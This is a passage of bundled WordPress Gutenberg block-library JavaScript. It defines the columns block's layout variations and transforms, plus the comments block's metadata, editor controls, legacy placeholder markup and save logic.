      description: (0, import_i18n26.__)(&quot;Two columns; equal split&quot;),
      icon: /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(
        import_components18.SVG,
        {
          xmlns: &quot;http://www.w3.org/2000/svg&quot;,
          width: &quot;48&quot;,
          height: &quot;48&quot;,
          viewBox: &quot;0 0 48 48&quot;,
          children: /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(import_components18.Path, { d: &quot;M0 10a2 2 0 0 1 2-2h19a2 2 0 0 1 2 2v28a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2V10Zm25 0a2 2 0 0 1 2-2h19a2 2 0 0 1 2 2v28a2 2 0 0 1-2 2H27a2 2 0 0 1-2-2V10Z&quot; })
        }
      ),
      isDefault: true,
      innerBlocks: [[&quot;core/column&quot;], [&quot;core/column&quot;]],
      scope: [&quot;block&quot;]
    },
    {
      name: &quot;two-columns-one-third-two-thirds&quot;,
      title: (0, import_i18n26.__)(&quot;33 / 66&quot;),
      description: (0, import_i18n26.__)(&quot;Two columns; one-third, two-thirds split&quot;),
      icon: /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(
        import_components18.SVG,
        {
          xmlns: &quot;http://www.w3.org/2000/svg&quot;,
          width: &quot;48&quot;,
          height: &quot;48&quot;,
          viewBox: &quot;0 0 48 48&quot;,
          children: /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(import_components18.Path, { d: &quot;M0 10a2 2 0 0 1 2-2h11a2 2 0 0 1 2 2v28a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2V10Zm17 0a2 2 0 0 1 2-2h27a2 2 0 0 1 2 2v28a2 2 0 0 1-2 2H19a2 2 0 0 1-2-2V10Z&quot; })
        }
      ),
      innerBlocks: [
        [&quot;core/column&quot;, { width: &quot;33.33%&quot; }],
        [&quot;core/column&quot;, { width: &quot;66.66%&quot; }]
      ],
      scope: [&quot;block&quot;]
    },
    {
      name: &quot;two-columns-two-thirds-one-third&quot;,
      title: (0, import_i18n26.__)(&quot;66 / 33&quot;),
      description: (0, import_i18n26.__)(&quot;Two columns; two-thirds, one-third split&quot;),
      icon: /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(
        import_components18.SVG,
        {
          xmlns: &quot;http://www.w3.org/2000/svg&quot;,
          width: &quot;48&quot;,
          height: &quot;48&quot;,
          viewBox: &quot;0 0 48 48&quot;,
          children: /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(import_components18.Path, { d: &quot;M0 10a2 2 0 0 1 2-2h27a2 2 0 0 1 2 2v28a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2V10Zm33 0a2 2 0 0 1 2-2h11a2 2 0 0 1 2 2v28a2 2 0 0 1-2 2H35a2 2 0 0 1-2-2V10Z&quot; })
        }
      ),
      innerBlocks: [
        [&quot;core/column&quot;, { width: &quot;66.66%&quot; }],
        [&quot;core/column&quot;, { width: &quot;33.33%&quot; }]
      ],
      scope: [&quot;block&quot;]
    },
    {
      name: &quot;three-columns-equal&quot;,
      title: (0, import_i18n26.__)(&quot;33 / 33 / 33&quot;),
      description: (0, import_i18n26.__)(&quot;Three columns; equal split&quot;),
      icon: /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(
        import_components18.SVG,
        {
          xmlns: &quot;http://www.w3.org/2000/svg&quot;,
          width: &quot;48&quot;,
          height: &quot;48&quot;,
          viewBox: &quot;0 0 48 48&quot;,
          children: /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(import_components18.Path, { d: &quot;M0 10a2 2 0 0 1 2-2h10.531c1.105 0 1.969.895 1.969 2v28c0 1.105-.864 2-1.969 2H2a2 2 0 0 1-2-2V10Zm16.5 0c0-1.105.864-2 1.969-2H29.53c1.105 0 1.969.895 1.969 2v28c0 1.105-.864 2-1.969 2H18.47c-1.105 0-1.969-.895-1.969-2V10Zm17 0c0-1.105.864-2 1.969-2H46a2 2 0 0 1 2 2v28a2 2 0 0 1-2 2H35.469c-1.105 0-1.969-.895-1.969-2V10Z&quot; })
        }
      ),
      innerBlocks: [
        [&quot;core/column&quot;],
        [&quot;core/column&quot;],
        [&quot;core/column&quot;]
      ],
      scope: [&quot;block&quot;]
    },
    {
      name: &quot;three-columns-wider-center&quot;,
      title: (0, import_i18n26.__)(&quot;25 / 50 / 25&quot;),
      description: (0, import_i18n26.__)(&quot;Three columns; wide center column&quot;),
      icon: /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(
        import_components18.SVG,
        {
          xmlns: &quot;http://www.w3.org/2000/svg&quot;,
          width: &quot;48&quot;,
          height: &quot;48&quot;,
          viewBox: &quot;0 0 48 48&quot;,
          children: /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(import_components18.Path, { d: &quot;M0 10a2 2 0 0 1 2-2h7.531c1.105 0 1.969.895 1.969 2v28c0 1.105-.864 2-1.969 2H2a2 2 0 0 1-2-2V10Zm13.5 0c0-1.105.864-2 1.969-2H32.53c1.105 0 1.969.895 1.969 2v28c0 1.105-.864 2-1.969 2H15.47c-1.105 0-1.969-.895-1.969-2V10Zm23 0c0-1.105.864-2 1.969-2H46a2 2 0 0 1 2 2v28a2 2 0 0 1-2 2h-7.531c-1.105 0-1.969-.895-1.969-2V10Z&quot; })
        }
      ),
      innerBlocks: [
        [&quot;core/column&quot;, { width: &quot;25%&quot; }],
        [&quot;core/column&quot;, { width: &quot;50%&quot; }],
        [&quot;core/column&quot;, { width: &quot;25%&quot; }]
      ],
      scope: [&quot;block&quot;]
    }
  ];
  var variations_default2 = variations2;

  // packages/block-library/build-module/columns/transforms.mjs
  var import_blocks19 = __toESM(require_blocks(), 1);
  var MAXIMUM_SELECTED_BLOCKS = 6;
  var transforms5 = {
    from: [
      {
        type: &quot;block&quot;,
        isMultiBlock: true,
        blocks: [&quot;*&quot;],
        __experimentalConvert: (blocks) =&gt; {
          const columnWidth = +(100 / blocks.length).toFixed(2);
          const innerBlocksTemplate = blocks.map(
            ({ name: name123, attributes: attributes2, innerBlocks }) =&gt; [
              &quot;core/column&quot;,
              { width: `${columnWidth}%` },
              [[name123, { ...attributes2 }, innerBlocks]]
            ]
          );
          return (0, import_blocks19.createBlock)(
            &quot;core/columns&quot;,
            {},
            (0, import_blocks19.createBlocksFromInnerBlocksTemplate)(innerBlocksTemplate)
          );
        },
        isMatch: ({ length: selectedBlocksLength }, blocks) =&gt; {
          if (blocks.length === 1 &amp;&amp; blocks[0].name === &quot;core/columns&quot;) {
            return false;
          }
          return selectedBlocksLength &amp;&amp; selectedBlocksLength &lt;= MAXIMUM_SELECTED_BLOCKS;
        }
      },
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/media-text&quot;],
        priority: 1,
        transform: (attributes2, innerBlocks) =&gt; {
          const {
            align,
            backgroundColor,
            textColor,
            style: style2,
            mediaAlt: alt,
            mediaId: id,
            mediaPosition: mediaPosition3,
            mediaSizeSlug: sizeSlug,
            mediaType,
            mediaUrl: url,
            mediaWidth,
            verticalAlignment
          } = attributes2;
          let media;
          if (mediaType === &quot;image&quot; || !mediaType) {
            const imageAttrs = { id, alt, url, sizeSlug };
            const linkAttrs = {
              href: attributes2.href,
              linkClass: attributes2.linkClass,
              linkDestination: attributes2.linkDestination,
              linkTarget: attributes2.linkTarget,
              rel: attributes2.rel
            };
            media = [&quot;core/image&quot;, { ...imageAttrs, ...linkAttrs }];
          } else {
            media = [&quot;core/video&quot;, { id, src: url }];
          }
          const innerBlocksTemplate = [
            [&quot;core/column&quot;, { width: `${mediaWidth}%` }, [media]],
            [
              &quot;core/column&quot;,
              { width: `${100 - mediaWidth}%` },
              innerBlocks
            ]
          ];
          if (mediaPosition3 === &quot;right&quot;) {
            innerBlocksTemplate.reverse();
          }
          return (0, import_blocks19.createBlock)(
            &quot;core/columns&quot;,
            {
              align,
              backgroundColor,
              textColor,
              style: style2,
              verticalAlignment
            },
            (0, import_blocks19.createBlocksFromInnerBlocksTemplate)(innerBlocksTemplate)
          );
        }
      }
    ],
    ungroup: (attributes2, innerBlocks) =&gt; innerBlocks.flatMap((innerBlock) =&gt; innerBlock.innerBlocks)
  };
  var transforms_default5 = transforms5;

  // packages/block-library/build-module/columns/index.mjs
  var { name: name16 } = block_default17;
  var settings16 = {
    icon: columns_default,
    variations: variations_default2,
    example: {
      viewportWidth: 782,
      // Columns collapse &quot;@media (max-width: 781px)&quot;.
      innerBlocks: [
        {
          name: &quot;core/column&quot;,
          innerBlocks: [
            {
              name: &quot;core/paragraph&quot;,
              attributes: {
                /* translators: example text. */
                content: (0, import_i18n27.__)(
                  &quot;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent et eros eu felis.&quot;
                )
              }
            },
            {
              name: &quot;core/image&quot;,
              attributes: {
                url: &quot;https://s.w.org/images/core/5.3/Windbuchencom.jpg&quot;
              }
            },
            {
              name: &quot;core/paragraph&quot;,
              attributes: {
                /* translators: example text. */
                content: (0, import_i18n27.__)(
                  &quot;Suspendisse commodo neque lacus, a dictum orci interdum et.&quot;
                )
              }
            }
          ]
        },
        {
          name: &quot;core/column&quot;,
          innerBlocks: [
            {
              name: &quot;core/paragraph&quot;,
              attributes: {
                /* translators: example text. */
                content: (0, import_i18n27.__)(
                  &quot;Etiam et egestas lorem. Vivamus sagittis sit amet dolor quis lobortis. Integer sed fermentum arcu, id vulputate lacus. Etiam fermentum sem eu quam hendrerit.&quot;
                )
              }
            },
            {
              name: &quot;core/paragraph&quot;,
              attributes: {
                /* translators: example text. */
                content: (0, import_i18n27.__)(
                  &quot;Nam risus massa, ullamcorper consectetur eros fermentum, porta aliquet ligula. Sed vel mauris nec enim.&quot;
                )
              }
            }
          ]
        }
      ]
    },
    deprecated: deprecated_default6,
    edit: edit_default5,
    save: save11,
    transforms: transforms_default5
  };
  var init16 = () =&gt; initBlock({ name: name16, metadata: block_default17, settings: settings16 });

  // packages/block-library/build-module/comments/index.mjs
  var comments_exports = {};
  __export(comments_exports, {
    init: () =&gt; init17,
    metadata: () =&gt; block_default18,
    name: () =&gt; name17,
    settings: () =&gt; settings17
  });

  // packages/block-library/build-module/comments/block.json
  var block_default18 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/comments&quot;,
    title: &quot;Comments&quot;,
    category: &quot;theme&quot;,
    description: &quot;An advanced block that allows displaying post comments using different visual configurations.&quot;,
    textdomain: &quot;default&quot;,
    attributes: {
      tagName: {
        type: &quot;string&quot;,
        default: &quot;div&quot;
      },
      legacy: {
        type: &quot;boolean&quot;,
        default: false
      }
    },
    supports: {
      anchor: true,
      align: [&quot;wide&quot;, &quot;full&quot;],
      html: false,
      color: {
        gradients: true,
        heading: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true,
          link: true
        }
      },
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      }
    },
    editorStyle: &quot;wp-block-comments-editor&quot;,
    usesContext: [&quot;postId&quot;, &quot;postType&quot;]
  };

  // packages/block-library/build-module/comments/deprecated.mjs
  var import_block_editor39 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime196 = __toESM(require_jsx_runtime(), 1);
  var v14 = {
    attributes: {
      tagName: {
        type: &quot;string&quot;,
        default: &quot;div&quot;
      }
    },
    apiVersion: 3,
    supports: {
      align: [&quot;wide&quot;, &quot;full&quot;],
      html: false,
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true,
          link: true
        }
      }
    },
    save({ attributes: { tagName: Tag } }) {
      const blockProps = import_block_editor39.useBlockProps.save();
      const { className } = blockProps;
      const classes = className?.split(&quot; &quot;) || [];
      const newClasses = classes?.filter(
        (cls) =&gt; cls !== &quot;wp-block-comments&quot;
      );
      const newBlockProps = {
        ...blockProps,
        className: newClasses.join(&quot; &quot;)
      };
      return /* @__PURE__ */ (0, import_jsx_runtime196.jsx)(Tag, { ...newBlockProps, children: /* @__PURE__ */ (0, import_jsx_runtime196.jsx)(import_block_editor39.InnerBlocks.Content, {}) });
    }
  };
  var deprecated_default7 = [v14];

  // packages/block-library/build-module/comments/edit/index.mjs
  var import_block_editor44 = __toESM(require_block_editor(), 1);

  // packages/block-library/build-module/comments/edit/comments-inspector-controls.mjs
  var import_i18n28 = __toESM(require_i18n(), 1);
  var import_block_editor40 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime197 = __toESM(require_jsx_runtime(), 1);
  var { HTMLElementControl: HTMLElementControl2 } = unlock(import_block_editor40.privateApis);
  function CommentsInspectorControls({
    attributes: { tagName },
    setAttributes
  }) {
    return /* @__PURE__ */ (0, import_jsx_runtime197.jsx)(import_block_editor40.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime197.jsx)(import_block_editor40.InspectorControls, { group: &quot;advanced&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime197.jsx)(
      HTMLElementControl2,
      {
        tagName,
        onChange: (value) =&gt; setAttributes({ tagName: value }),
        options: [
          { label: (0, import_i18n28.__)(&quot;Default (&lt;div&gt;)&quot;), value: &quot;div&quot; },
          { label: &quot;&lt;section&gt;&quot;, value: &quot;section&quot; },
          { label: &quot;&lt;aside&gt;&quot;, value: &quot;aside&quot; }
        ]
      }
    ) }) });
  }

  // packages/block-library/build-module/comments/edit/comments-legacy.mjs
  var import_block_editor43 = __toESM(require_block_editor(), 1);
  var import_i18n31 = __toESM(require_i18n(), 1);
  var import_components20 = __toESM(require_components(), 1);

  // packages/block-library/build-module/comments/edit/placeholder.mjs
  var import_block_editor42 = __toESM(require_block_editor(), 1);
  var import_i18n30 = __toESM(require_i18n(), 1);
  var import_data21 = __toESM(require_data(), 1);
  var import_core_data8 = __toESM(require_core_data(), 1);
  var import_element14 = __toESM(require_element(), 1);

  // packages/block-library/build-module/post-comments-form/form.mjs
  var import_i18n29 = __toESM(require_i18n(), 1);
  var import_block_editor41 = __toESM(require_block_editor(), 1);
  var import_components19 = __toESM(require_components(), 1);
  var import_compose13 = __toESM(require_compose(), 1);
  var import_core_data7 = __toESM(require_core_data(), 1);
  var import_data20 = __toESM(require_data(), 1);
  var import_jsx_runtime198 = __toESM(require_jsx_runtime(), 1);
  var CommentsFormPlaceholder = () =&gt; {
    const instanceId = (0, import_compose13.useInstanceId)(CommentsFormPlaceholder);
    return /* @__PURE__ */ (0, import_jsx_runtime198.jsxs)(&quot;div&quot;, { className: &quot;comment-respond&quot;, children: [
      /* @__PURE__ */ (0, import_jsx_runtime198.jsx)(&quot;h3&quot;, { className: &quot;comment-reply-title&quot;, children: (0, import_i18n29.__)(&quot;Leave a Reply&quot;) }),
      /* @__PURE__ */ (0, import_jsx_runtime198.jsxs)(
        &quot;form&quot;,
        {
          noValidate: true,
          className: &quot;comment-form&quot;,
          onSubmit: (event) =&gt; event.preventDefault(),
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime198.jsxs)(&quot;p&quot;, { children: [
              /* @__PURE__ */ (0, import_jsx_runtime198.jsx)(&quot;label&quot;, { htmlFor: `comment-${instanceId}`, children: (0, import_i18n29.__)(&quot;Comment&quot;) }),
              /* @__PURE__ */ (0, import_jsx_runtime198.jsx)(
                &quot;textarea&quot;,
                {
                  id: `comment-${instanceId}`,
                  name: &quot;comment&quot;,
                  cols: &quot;45&quot;,
                  rows: &quot;8&quot;,
                  readOnly: true
                }
              )
            ] }),
            /* @__PURE__ */ (0, import_jsx_runtime198.jsx)(&quot;p&quot;, { className: &quot;form-submit wp-block-button&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime198.jsx)(
              &quot;input&quot;,
              {
                name: &quot;submit&quot;,
                type: &quot;submit&quot;,
                className: clsx_default(
                  &quot;wp-block-button__link&quot;,
                  (0, import_block_editor41.__experimentalGetElementClassName)(&quot;button&quot;)
                ),
                label: (0, import_i18n29.__)(&quot;Post Comment&quot;),
                value: (0, import_i18n29.__)(&quot;Post Comment&quot;),
                &quot;aria-disabled&quot;: &quot;true&quot;
              }
            ) })
          ]
        }
      )
    ] });
  };
  var CommentsForm = ({ postId, postType }) =&gt; {
    const [commentStatus, setCommentStatus] = (0, import_core_data7.useEntityProp)(
      &quot;postType&quot;,
      postType,
      &quot;comment_status&quot;,
      postId
    );
    const isSiteEditor = postType === void 0 || postId === void 0;
    const defaultCommentStatus = (0, import_data20.useSelect)(
      (select9) =&gt; select9(import_block_editor41.store).getSettings().__experimentalDiscussionSettings?.defaultCommentStatus,
      []
    );
    const postTypeSupportsComments = (0, import_data20.useSelect)(
      (select9) =&gt; postType ? !!select9(import_core_data7.store).getPostType(postType)?.supports.comments : false
    );
    if (!isSiteEditor &amp;&amp; &quot;open&quot; !== commentStatus) {
      if (&quot;closed&quot; === commentStatus) {
        const actions = [
          /* @__PURE__ */ (0, import_jsx_runtime198.jsx)(
            import_components19.Button,
            {
              __next40pxDefaultSize: true,
              onClick: () =&gt; setCommentStatus(&quot;open&quot;),
              variant: &quot;primary&quot;,
              children: (0, import_i18n29._x)(
                &quot;Enable comments&quot;,
                &quot;action that affects the current post&quot;
              )
            },
            &quot;enableComments&quot;
          )
        ];
        return /* @__PURE__ */ (0, import_jsx_runtime198.jsx)(import_block_editor41.Warning, { actions, children: (0, import_i18n29.__)(
          &quot;Post Comments Form block: Comments are not enabled for this item.&quot;
        ) });
      } else if (!postTypeSupportsComments) {
        return /* @__PURE__ */ (0, import_jsx_runtime198.jsx)(import_block_editor41.Warning, { children: (0, import_i18n29.sprintf)(
          /* translators: %s: Post type (i.e. &quot;post&quot;, &quot;page&quot;) */
          (0, import_i18n29.__)(
            &quot;Post Comments Form block: Comments are not enabled for this post type (%s).&quot;
          ),
          postType
        ) });
      } else if (&quot;open&quot; !== defaultCommentStatus) {
        return /* @__PURE__ */ (0, import_jsx_runtime198.jsx)(import_block_editor41.Warning, { children: (0, import_i18n29.__)(
          &quot;Post Comments Form block: Comments are not enabled.&quot;
        ) });
      }
    }
    return /* @__PURE__ */ (0, import_jsx_runtime198.jsx)(CommentsFormPlaceholder, {});
  };
  var form_default = CommentsForm;

  // packages/block-library/build-module/comments/edit/placeholder.mjs
  var import_jsx_runtime199 = __toESM(require_jsx_runtime(), 1);
  function PostCommentsPlaceholder({ postType, postId }) {
    let [postTitle] = (0, import_core_data8.useEntityProp)(&quot;postType&quot;, postType, &quot;title&quot;, postId);
    postTitle = postTitle || (0, import_i18n30.__)(&quot;Post Title&quot;);
    const avatarURL = (0, import_data21.useSelect)(
      (select9) =&gt; select9(import_block_editor42.store).getSettings().__experimentalDiscussionSettings?.avatarURL,
      []
    );
    return /* @__PURE__ */ (0, import_jsx_runtime199.jsxs)(&quot;div&quot;, { className: &quot;wp-block-comments__legacy-placeholder&quot;, inert: &quot;true&quot;, children: [
      /* @__PURE__ */ (0, import_jsx_runtime199.jsx)(&quot;h3&quot;, {
        /* translators: %s: Post title. */
        children: (0, import_i18n30.sprintf)((0, import_i18n30.__)(&quot;One response to %s&quot;), postTitle)
      }),
      /* @__PURE__ */ (0, import_jsx_runtime199.jsxs)(&quot;div&quot;, { className: &quot;navigation&quot;, children: [
        /* @__PURE__ */ (0, import_jsx_runtime199.jsx)(&quot;div&quot;, { className: &quot;alignleft&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime199.jsxs)(&quot;a&quot;, { href: &quot;#top&quot;, children: [
          &quot;\xAB &quot;,
          (0, import_i18n30.__)(&quot;Older Comments&quot;)
        ] }) }),
        /* @__PURE__ */ (0, import_jsx_runtime199.jsx)(&quot;div&quot;, { className: &quot;alignright&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime199.jsxs)(&quot;a&quot;, { href: &quot;#top&quot;, children: [
          (0, import_i18n30.__)(&quot;Newer Comments&quot;),
          &quot; \xBB&quot;
        ] }) })
      ] }),
      /* @__PURE__ */ (0, import_jsx_runtime199.jsx)(&quot;ol&quot;, { className: &quot;commentlist&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime199.jsx)(&quot;li&quot;, { className: &quot;comment even thread-even depth-1&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime199.jsxs)(&quot;article&quot;, { className: &quot;comment-body&quot;, children: [
        /* @__PURE__ */ (0, import_jsx_runtime199.jsxs)(&quot;footer&quot;, { className: &quot;comment-meta&quot;, children: [
          /* @__PURE__ */ (0, import_jsx_runtime199.jsxs)(&quot;div&quot;, { className: &quot;comment-author vcard&quot;, children: [
            /* @__PURE__ */ (0, import_jsx_runtime199.jsx)(
              &quot;img&quot;,
              {
                alt: (0, import_i18n30.__)(&quot;Commenter Avatar&quot;),
                src: avatarURL,
                className: &quot;avatar avatar-32 photo&quot;,
                height: &quot;32&quot;,
                width: &quot;32&quot;,
                loading: &quot;lazy&quot;
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime199.jsx)(&quot;b&quot;, { className: &quot;fn&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime199.jsx)(&quot;a&quot;, { href: &quot;#top&quot;, className: &quot;url&quot;, children: (0, import_i18n30.__)(&quot;A WordPress Commenter&quot;) }) }),
            &quot; &quot;,
            /* @__PURE__ */ (0, import_jsx_runtime199.jsxs)(&quot;span&quot;, { className: &quot;says&quot;, children: [
              (0, import_i18n30.__)(&quot;says&quot;),
              &quot;:&quot;
            ] })
          ] }),
          /* @__PURE__ */ (0, import_jsx_runtime199.jsxs)(&quot;div&quot;, { className: &quot;comment-metadata&quot;, children: [
            /* @__PURE__ */ (0, import_jsx_runtime199.jsx)(&quot;a&quot;, { href: &quot;#top&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime199.jsx)(&quot;time&quot;, { dateTime: &quot;2000-01-01T00:00:00+00:00&quot;, children: (0, import_i18n30.__)(&quot;January 1, 2000 at 00:00 am&quot;) }) }),
            &quot; &quot;,
            /* @__PURE__ */ (0, import_jsx_runtime199.jsx)(&quot;span&quot;, { className: &quot;edit-link&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime199.jsx)(
              &quot;a&quot;,
              {
                className: &quot;comment-edit-link&quot;,
                href: &quot;#top&quot;,
                children: (0, import_i18n30.__)(&quot;Edit&quot;)
              }
            ) })
          ] })
        ] }),
        /* @__PURE__ */ (0, import_jsx_runtime199.jsx)(&quot;div&quot;, { className: &quot;comment-content&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime199.jsxs)(&quot;p&quot;, { children: [
          (0, import_i18n30.__)(&quot;Hi, this is a comment.&quot;),
          /* @__PURE__ */ (0, import_jsx_runtime199.jsx)(&quot;br&quot;, {}),
          (0, import_i18n30.__)(
            &quot;To get started with moderating, editing, and deleting comments, please visit the Comments screen in the dashboard.&quot;
          ),
          /* @__PURE__ */ (0, import_jsx_runtime199.jsx)(&quot;br&quot;, {}),
          (0, import_element14.createInterpolateElement)(
            (0, import_i18n30.__)(
              &quot;Commenter avatars come from &lt;a&gt;Gravatar&lt;/a&gt;.&quot;
            ),
            {
              a: (
                // eslint-disable-next-line jsx-a11y/anchor-has-content
                /* @__PURE__ */ (0, import_jsx_runtime199.jsx)(&quot;a&quot;, { href: &quot;https://gravatar.com/&quot; })
              )
            }
          )
        ] }) }),
        /* @__PURE__ */ (0, import_jsx_runtime199.jsx)(&quot;div&quot;, { className: &quot;reply&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime199.jsx)(
          &quot;a&quot;,
          {
            className: &quot;comment-reply-link&quot;,
            href: &quot;#top&quot;,
            &quot;aria-label&quot;: (0, import_i18n30.__)(
              &quot;Reply to A WordPress Commenter&quot;
            ),
            /* translators: Comment reply button text. */
            children: (0, import_i18n30._x)(&quot;Reply&quot;, &quot;verb&quot;)
          }
        ) })
      ] }) }) }),
      /* @__PURE__ */ (0, import_jsx_runtime199.jsxs)(&quot;div&quot;, { className: &quot;navigation&quot;, children: [
        /* @__PURE__ */ (0, import_jsx_runtime199.jsx)(&quot;div&quot;, { className: &quot;alignleft&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime199.jsxs)(&quot;a&quot;, { href: &quot;#top&quot;, children: [
          &quot;\xAB &quot;,
          (0, import_i18n30.__)(&quot;Older Comments&quot;)
        ] }) }),
        /* @__PURE__ */ (0, import_jsx_runtime199.jsx)(&quot;div&quot;, { className: &quot;alignright&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime199.jsxs)(&quot;a&quot;, { href: &quot;#top&quot;, children: [
          (0, import_i18n30.__)(&quot;Newer Comments&quot;),
          &quot; \xBB&quot;
        ] }) })
      ] }),
      /* @__PURE__ */ (0, import_jsx_runtime199.jsx)(form_default, { postId, postType })
    ] });
  }

  // packages/block-library/build-module/comments/edit/comments-legacy.mjs
  var import_jsx_runtime200 = __toESM(require_jsx_runtime(), 1);
  function CommentsLegacy({
    attributes: attributes2,
    setAttributes,
    context: { postType, postId }
  }) {
    const { textAlign } = attributes2;
    const actions = [
      /* @__PURE__ */ (0, import_jsx_runtime200.jsx)(
        import_components20.Button,
        {
          __next40pxDefaultSize: true,
          onClick: () =&gt; void setAttributes({ legacy: false }),
          variant: &quot;primary&quot;,
          children: (0, import_i18n31.__)(&quot;Switch to editable mode&quot;)
        },
        &quot;convert&quot;
      )
    ];
    const blockProps = (0, import_block_editor43.useBlockProps)({
      className: clsx_default({
        [`has-text-align-${textAlign}`]: textAlign
      })
    });
    return /* @__PURE__ */ (0, import_jsx_runtime200.jsxs)(import_jsx_runtime200.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime200.jsx)(import_block_editor43.BlockControls, { group: &quot;block&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime200.jsx)(
        import_block_editor43.AlignmentControl,
        {
          value: textAlign,
          onChange: (nextAlign) =&gt; {
            setAttributes({ textAlign: nextAlign });
          }
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime200.jsxs)(&quot;div&quot;, { ...blockProps, children: [
        /* @__PURE__ */ (0, import_jsx_runtime200.jsx)(import_block_editor43.Warning, { actions, children: (0, import_i18n31.__)(
          &quot;Comments block: You\u2019re currently using the legacy version of the block. The following is just a placeholder - the final styling will likely look different. For a better representation and more customization options, switch the block to its editable mode.&quot;
        ) }),
        /* @__PURE__ */ (0, import_jsx_runtime200.jsx)(PostCommentsPlaceholder, { postId, postType })
      ] })
    ] });
  }

  // packages/block-library/build-module/comments/edit/template.mjs
  var TEMPLATE2 = [
    [&quot;core/comments-title&quot;],
    [
      &quot;core/comment-template&quot;,
      {},
      [
        [
          &quot;core/columns&quot;,
          {},
          [
            [
              &quot;core/column&quot;,
              { width: &quot;40px&quot; },
              [
                [
                  &quot;core/avatar&quot;,
                  {
                    size: 40,
                    style: {
                      border: { radius: &quot;20px&quot; }
                    }
                  }
                ]
              ]
            ],
            [
              &quot;core/column&quot;,
              {},
              [
                [
                  &quot;core/comment-author-name&quot;,
                  {
                    fontSize: &quot;small&quot;
                  }
                ],
                [
                  &quot;core/group&quot;,
                  {
                    layout: { type: &quot;flex&quot; },
                    style: {
                      spacing: {
                        margin: {
                          top: &quot;0px&quot;,
                          bottom: &quot;0px&quot;
                        }
                      }
                    }
                  },
                  [
                    [
                      &quot;core/comment-date&quot;,
                      {
                        fontSize: &quot;small&quot;
                      }
                    ],
                    [
                      &quot;core/comment-edit-link&quot;,
                      {
                        fontSize: &quot;small&quot;
                      }
                    ]
                  ]
                ],
                [&quot;core/comment-content&quot;],
                [
                  &quot;core/comment-reply-link&quot;,
                  {
                    fontSize: &quot;small&quot;
                  }
                ]
              ]
            ]
          ]
        ]
      ]
    ],
    [&quot;core/comments-pagination&quot;],
    [&quot;core/post-comments-form&quot;]
  ];
  var template_default = TEMPLATE2;

  // packages/block-library/build-module/comments/edit/index.mjs
  var import_jsx_runtime201 = __toESM(require_jsx_runtime(), 1);
  function CommentsEdit(props) {
    const { attributes: attributes2, setAttributes, clientId } = props;
    const { tagName: TagName2, legacy } = attributes2;
    const blockProps = (0, import_block_editor44.useBlockProps)();
    const innerBlocksProps = (0, import_block_editor44.useInnerBlocksProps)(blockProps, {
      template: template_default
    });
    if (legacy) {
      return /* @__PURE__ */ (0, import_jsx_runtime201.jsx)(CommentsLegacy, { ...props });
    }
    return /* @__PURE__ */ (0, import_jsx_runtime201.jsxs)(import_jsx_runtime201.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime201.jsx)(
        CommentsInspectorControls,
        {
          attributes: attributes2,
          setAttributes,
          clientId
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime201.jsx)(TagName2, { ...innerBlocksProps })
    ] });
  }

  // packages/block-library/build-module/comments/save.mjs
  var import_block_editor45 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime202 = __toESM(require_jsx_runtime(), 1);
  function save12({ attributes: { tagName: Tag, legacy } }) {
    const blockProps = import_block_editor45.useBlockProps.save();
    const innerBlocksProps = import_block_editor45.useInnerBlocksProps.save(blockProps);
    return legacy ? null : /* @__PURE__ */ (0, import_jsx_runtime202.jsx)(Tag, { ...innerBlocksProps });
  }

  // packages/block-library/build-module/comments/index.mjs
  var { name: name17 } = block_default18;
  var settings17 = {
    icon: post_comments_default,
    example: {},
    edit: CommentsEdit,
    save: save12,
    deprecated: deprecated_default7
  };
  var init17 = () =&gt; initBlock({ name: name17, metadata: block_default18, settings: settings17 });

  // packages/block-library/build-module/comment-author-avatar/index.mjs
  var comment_author_avatar_exports = {};
  __export(comment_author_avatar_exports, {
    init: () =&gt; init18,
